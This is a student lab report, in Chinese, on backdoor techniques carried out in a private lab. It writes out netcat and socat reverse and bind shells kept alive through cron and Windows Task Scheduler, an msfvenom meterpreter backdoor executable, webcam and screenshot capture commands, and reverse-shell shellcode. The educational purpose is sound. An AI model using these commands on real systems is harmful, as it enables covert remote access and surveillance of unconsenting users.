20181328祝维卿——Exp2-后门原理与实践
一、实验内容:
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
二、报告要求:
(1) 报告整体观感 0.5分
1.1报告格式范围,版面整洁 加0.5。
1.2报告排版混乱,加0分。
(2) 文字表述 0.5 分
2.1报告文字内容全面,表述清晰准确 加0.5分。
2.2报告表述不清或文字有明显抄袭可能0分。
三、准备知识:
(1)netcat基础知识掌握:
- netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。
假设[A(172.31.100.7) B(172.31.100.23)]
文件传输: Server $nc -l 1567 < file.txt Client $nc -n 172.31.100.7 1567 > file.txt 打开一个shell: Server $nc -l 1567 -e /bin/bash -i Client $nc 172.31.100.7 1567 反向shell: Server $nc -l 1567 Client $nc 172.31.100.7 1567 -e /bin/bash
(2)查看主机IP和虚拟机IP:
- 通过主机和虚拟机两者的IP地址来链接
(主机地址为:172.30.5.246)
(kali地址为:192.168.19.132)
(3)简单测试连接:
(windows下获得Linux的shell)
(linux下获得Windows的shell)
四、实验步骤:
1、使用netcat获取主机操作Shell,cron启动
- windows使用
ncat.exe -l -p 1328
监听1328端口
crontab
指令增加一条定时任务,-e
表示编辑。在最后一行添加
time * * * * /bin/netcat 192.168.1.138 1217 -e /bin/sh每个时间段的第xx分钟反向连接Windows主机的1217端口.
:wq
保存退出配置即生效,可通过crontab -l
查看
- 在系统时间20:39时,就发现获得kali shell。可以使用ls查看。
2使用socat获取主机操作Shell, 任务计划启动
- win10系统中找到左下角的windows标志打开任务计划程序。
- 填写任务名称,创建触发器,设置配置,然后开始任务
(触发器设置为合适时间触发一次)
(添加参数为:tcp-listen:1328 exec:cmd.exe,pty,stderr
创建完成之后,点击确定。)
- 到设定时间之后,指令开始执行。在kali中输入
socat - tcp:172.30.5.246:1328(-代表标准的输入输出,第二个流连接到Windows主机的1217端口,IP为windows的IP),成功获得cmd shell
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.132 LPORT=1328 -f exe > 20181328_backdoor.exe(IP为kali的IP)生成后门程序20181328_backdoor.exe (-f 生成文件的类型,-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode,> 输出到哪个文件,LHOST 是反弹回连的IP,LPORT 是回连的端口)
- 在Windows中使用
ncat.exe -lv 1328 > 20181328_backdoor.exe
- 获得主机shell
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 在linux中另外打开一个终端,
msfconsole
进入控制台 - 输入
use exploit/multi/handler
使用监听模块,设置payload - 使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.19.132
此处为kali的IP(和生成后门程序时指定的IP相同)- 端口号也相同:
set LPORT 1217
- 设置完成后,
exploit
开始监听
- 获取摄像头拍照:
webcam_snap
- 截屏:
screenshot
5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 该部分实验与实验一重复,直接去实验一文件夹做实验,不用重新找地址。
- 参考网上找到对应shellcode
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
- 打开另外一个终端
启动msfconsole use exploit/multi/handler //用于设置payload set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1 //设置IP为回环地址 set LPORT 4444 //根据代码设置端口 exploit //设置完成开始监听
- 注入攻击,获得shell
五、实验总结
结合老师的视频还算快的完成了这次实验,参考了许多学长学姐的博客,收获很大,实验中最需要解决的问题就是要把防火墙关闭,其他还挺简单的。在设置时间的时候一定要选择较为合适的时间,使用完后将测试任务关闭。
问题一:例举你能想到的一个后门进入到你系统中的可能方式?
插入带有后门软件的可移动设备。
问题二:例举你知道的后门如何启动起来(win及linux)的方式?
启动了带有捆绑恶意程序的软件。
问题三:Meterpreter有哪些给你映像深刻的功能?
对音频进行录制,便于攻击者监听。
问题四:如何发现自己有系统有没有被安装后门?
经常使用杀毒软件对计算机进行体检,对不安全软件限制权限。